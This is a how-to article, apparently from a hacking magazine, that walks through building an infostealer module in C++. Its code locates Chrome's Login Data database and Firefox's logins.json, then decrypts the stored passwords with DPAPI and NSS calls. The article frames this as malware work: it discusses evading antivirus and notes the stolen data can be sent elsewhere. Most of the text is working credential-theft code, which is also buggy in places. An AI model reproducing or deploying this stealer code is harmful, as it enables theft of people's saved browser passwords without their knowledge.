Stuff

Building a Password Stealer: How to Extract Chrome and Firefox Passwords

You’ve probably heard of a class of malware known as infostealers. Their goal is to pull valuable data from a victim’s system—first and foremost, passwords. In this article, I’ll explain how they do that by showing how passwords are extracted from Chrome and Firefox, and I’ll include C++ code examples.

warning

All code in this article is provided solely for educational purposes and for recovering your own lost passwords. Stealing someone else’s account credentials or other personal data without a proper written agreement is illegal and punishable by law.

Browsers built on the Chrome or Firefox codebases store user logins and passwords encrypted in an SQLite database. SQLite is a compact DBMS distributed for free under an open-source license. The same goes for the browsers we’re examining: their code is open source and well documented, which will certainly help us.

In the styling module example I’ll show in the article, the CRT and other third-party libraries and dependencies (like sqlite.h) are used extensively. If you need compact, dependency-free code, you’ll have to tweak it a bit: remove some functions and configure the compiler properly. I demonstrated how to do this in the article “Hidden WinAPI: How to Obfuscate WinAPI Calls in Your Application.”

How will antivirus react?

When promoting their products, malware authors often emphasize to prospective buyers that, at the moment, their stealer isn’t being detected by antivirus software.

It’s important to understand that most modern, reasonably sophisticated malware is modular, with each component handling a specific task: one module steals passwords, another implements anti-debugging and anti-emulation, a third detects whether it’s running in a virtual machine, a fourth obfuscates WinAPI calls, and a fifth bypasses or manipulates the OS’s built-in firewall.

So you can only judge whether a particular technique gets flagged by antivirus when it’s part of a finished, deployable application, not when tested as a standalone module.

Chrome

Let’s start with Chrome. First, let’s get the file where user accounts and passwords are stored. On Windows, it’s located at:

C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data

To work with this file, you either have to kill all browser processes—which will be obvious—or copy the database file elsewhere and only then start working with it.

Let’s write a function that obtains the path to Chrome’s password database. It will take a character array as an output parameter for the result (i.e., the array will contain the path to Chrome’s passwords file).

#define CHROME_DB_PATH "\\Google\\Chrome\\User Data\\Default\\Login Data"
bool get_browser_path(char * db_loc, int browser_family, const char * location) {
memset(db_loc, 0, MAX_PATH);
if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
return 0;
}
if (browser_family == 0) {
lstrcat(db_loc, TEXT(location));
return 1;
}
}

Function call:

char browser_db[MAX_PATH];
get_browser_path(browser_db, 0, CHROME_DB_PATH);

Let me briefly explain what’s going on here. We’re implementing this function upfront with future expansion in mind. One of its arguments is the browser_family field, which will indicate the browser family whose database we’re retrieving (i.e., browsers based on Chrome or Firefox).

If the condition browser_family == 0 is met, we’re dealing with a Chrome-based browser’s password database; if browser_family == 1, it’s Firefox. The CHROME_DB_PATH identifier points to the Chrome password database. Next, we obtain the database path using the SHGetFolderPath function, passing CSIDL with the value CSIDL_LOCAL_APPDATA, which means:

#define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)

The SHGetFolderPath function is deprecated, and Microsoft recommends using SHGetKnownFolderPath instead. However, SHGetKnownFolderPath is only supported starting with Windows Vista, so I used the older API to maintain backward compatibility. Here is its prototype:

HRESULT SHGetFolderPath(
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
LPTSTR pszPath
);

After that, the lstrcat function concatenates the path returned by SHGetFolderPath with the CHROME_DB_PATH constant.

We’ve got the password database, so let’s start working with it. As I mentioned earlier, it’s a SQLite database; the easiest way to interact with it is through the SQLite API, which you include via the sqlite3.h header. Let’s copy the database file so we don’t hold a lock on it or interfere with the browser.

int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
// return 0;
}

Now we connect to the database using the sqlite3_open_v2 function. Its prototype:

int sqlite3_open_v2(
const char *filename, /* Database filename (UTF-8) */
sqlite3 **ppDb, /* OUT: SQLite db handle */
int flags, /* Flags */
const char *zVfs /* Name of VFS module to use */
);

The first argument is the database path; the connection handle is returned via the second argument, followed by the open flags, and the fourth argument specifies the OS VFS interface this database connection should use—in our case, it’s not needed. If the function completes successfully, it returns SQLITE_OK; otherwise, it returns an error code.

sqlite3 *sql_browser_db = NULL;
status = sqlite3_open_v2(TEMP_DB_PATH,
&sql_browser_db,
SQLITE_OPEN_READONLY,
NULL);
if(status != SQLITE_OK) {
sqlite3_close(sql_browser_db);
DeleteFile(TEXT(TEMP_DB_PATH));
}

info

If the function doesn’t complete correctly, you still need to manually close the database connection and remove its local copy.

Now let’s start actually processing the data in the database. We’ll use the sqlite3_exec() function for this.

status = sqlite3_exec(sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
crack_chrome_db,
sql_browser_db,
&err);
if (status != SQLITE_OK)
return 0;

This function has the following prototype:

int sqlite3_exec(
sqlite3*, /* An open database */
const char *sql, /* SQL to be evaluated */
int (*callback)(void*,int,char**,char**), /* Callback */
void *, /* 1st argument to callback */
char **errmsg /* Error msg written here */
);

The first argument is our password database; the second is an SQL query that pulls the file URL, the login, the password, and the user’s name; the third is a callback that performs the decryption; the fourth is a value passed through to our callback; and the fifth is the error handler.

Let’s take a closer look at the callback function that decrypts passwords. It will be applied to each row returned by our SELECT query. Its prototype is int (*callback)(void*,int,char**,char**), but we won’t need all the arguments—even though they must still be declared. We’ll call the function crack_chrome_db, and start implementing it by declaring the required variables:

int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {
DATA_BLOB data_decrypt, data_encrypt;
sqlite3 *in_db = (sqlite3*)db_in;
BYTE *blob_data = NULL;
sqlite3_blob *sql_blob = NULL;
char *passwds = NULL;
while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );

In this loop, we construct a BLOB (a large binary data buffer). Then we allocate memory, read the blob, and initialize the DATA_BLOB fields:

int sz_blob;
int result;
sz_blob = sqlite3_blob_bytes(sql_blob);
dt_blob = (BYTE *)malloc(sz_blob);
if (!dt_blob) {
sqlite3_blob_close(sql_blob);
sqlite3_close(in_db);
}
data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;

Now let’s move on to the actual decryption. Chrome’s database is encrypted using the Data Protection Application Programming Interface (DPAPI). The core idea is that the data can only be decrypted under the same user account that encrypted it. In other words, you can’t steal the password database and then decrypt it on your own machine. To decrypt the data, we’ll need the CryptUnprotectData function.

DPAPI_IMP BOOL CryptUnprotectData(
DATA_BLOB *pDataIn,
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
DWORD dwFlags,
DATA_BLOB *pDataOut
);
if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {
free(dt_blob);
sqlite3_blob_close(sql_blob);
sqlite3_close(in_db);
}

Then allocate memory and populate the passwds array with the decrypted data.

passwds = ( char *)malloc(data_decrypt.cbData + 1);
memset(passwds, 0, data_decrypt.cbData);
int xi = 0;
while (xi < data_decrypt.cbData) {
passwds[xi] = (char)data_decrypt.pbData[xi];
++xi;
}

That’s it! After this, passwds will contain user accounts and URLs. What you do with that data—print it to the screen, or save it to a file and send it somewhere—is up to you.

Firefox

Let’s move on to Firefox. This will be a bit trickier, but we’ve got this! 🙂 First, let’s get the path to the password database. Remember our universal function get_browser_path where we pass the browser_family parameter? For Chrome it was set to 0, and for Firefox we’ll use 1.

bool get_browser_path(char * db_loc, int browser_family, const char * location) {
...
if (browser_family == 1) {
memset(db_loc, 0, MAX_PATH);
if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
// return 0;
}

With Firefox, unlike Chrome, we can’t point straight to the user profile directory. That’s because the profile folder name is randomly generated. But that’s a minor hurdle, since we know the beginning of the path (\\Mozilla\\Firefox\\Profiles\\). Just enumerate the directories under it and check whether they contain the \\logins.json file. That’s the file that stores the login and password data we’re after—of course, in encrypted form. We’ll implement all of this in code.

lstrcat(db_loc, TEXT(location));
// Declare variables
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;
// Create a mask for FindFirstFile
lstrcat((LPSTR)db_path, TEXT("*"));
// Iterate; we're looking for an object with the FILE_ATTRIBUTE_DIRECTORY attribute
HANDLE gotcha = FindFirstFile(db_path, &w_find_data);
while (FindNextFile(gotcha, &w_find_data) != 0){
if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strlen(w_find_data.cFileName) > 2) {
profileName = w_find_data.cFileName;
}
}
}
// Remove the asterisk :)
db_loc[strlen(db_loc) - 1] = '\0';
lstrcat(db_loc, profileName);
// Finally, get the path we need
lstrcat(db_loc, "\\logins.json");
return 1;

At the end, the db_loc variable we passed as an argument to our function contains the full path to the logins.json file, and the function returns 1 to indicate it completed successfully.

Next, we’ll get a handle to the password file and allocate memory for the data. To obtain the handle, use the CreateFile function, as recommended by MSDN.

DWORD read_bytes = 8192;
DWORD lp_read_bytes;
char *buffer = (char *)malloc(read_bytes);
HANDLE db_file_login = CreateFileA(original_db_location,
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);

Everything’s ready, but with Firefox it won’t be as straightforward as with Chrome—we can’t just fetch the required data with a simple SELECT query, and the encryption involves more than a single WinAPI function.

Network Security Services (NSS)

The Firefox browser actively uses the functions of Network Security Services to implement encryption for its database. These functions reside in the dynamic library located at C:\Program Files\Mozilla Firefox\nss3.dll.

We’ll have to resolve all the functions we need from this DLL. You can do this the standard way, using LoadLibrary/GetProcAddress. The code is repetitive and lengthy, so I’ll just list the functions we’ll need:

  • NSS_Init;
  • PL_Base64Decode;
  • PK11SDR_Decrypt;
  • PK11_Authenticate;
  • PK11_GetInternalKeySlot;
  • PK11_FreeSlot.

These are the NSS initialization and data decryption routines. Let’s write the decryption function—it’s a small one. I’ll add comments so everything’s clear.

char * data_uncrypt(std::string pass_str) {
// Declare variables
SECItem crypt;
SECItem decrypt;
PK11SlotInfo *slot_info;
// Allocate memory for our data
char *char_dest = (char *)malloc(8192);
memset(char_dest, NULL, 8192);
crypt.data = (unsigned char *)malloc(8192);
crypt.len = 8192;
memset(crypt.data, NULL, 8192);
// Decrypt using NSS functions
PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest);
memcpy(crypt.data, char_dest, 8192);
slot_info = PK11_GetInternalKeySlot();
PK11_Authenticate(slot_info, TRUE, NULL);
PK11SDR_Decrypt(&crypt, &decrypt, NULL);
PK11_FreeSlot(slot_info);
// Allocate memory for decrypted data
char *value = (char *)malloc(decrypt.len);
value[decrypt.len] = 0;
memcpy(value, decrypt.data, decrypt.len);
return value;
}

All that’s left is to parse the logins.json file and apply our decryption function. To keep the code concise, I’ll use regular expressions and their C++11 support.

string decode_data = buffer;
// Define regex patterns for sites, logins, and passwords
regex user(""encryptedUsername":"([^"]+)"");
regex passw(""encryptedPassword":"([^"]+)"");
regex host(""hostname":"([^"]+)"");
// Declare a variable and an iterator
smatch smch;
string::const_iterator pars(decode_data.cbegin());
// Parsing using regex_search, decrypting our data
// with the data_uncrypt function and printing the decrypted data
do {
printf("Site\t: %s", smch.str(1).c_str());
regex_search(pars, decode_data.cend(), smch, user);
printf("Login: %s", data_uncrypt(smch.str(1)));
regex_search(pars, decode_data.cend(), smch, passw);
printf("Pass: %s",data_uncrypt( smch.str(1)));
pars += smch.position() + smch.length();
} while (regex_search(pars, decode_data.cend(), smch, host));

Conclusion

We’ve looked into how different browsers store passwords and what it takes to extract them. Can you protect yourself against these password-recovery techniques? Absolutely. If you set a master password in the browser, it becomes the secret used to derive the decryption key for the password database. Without that secret, the stored data can’t be recovered.

it? Share: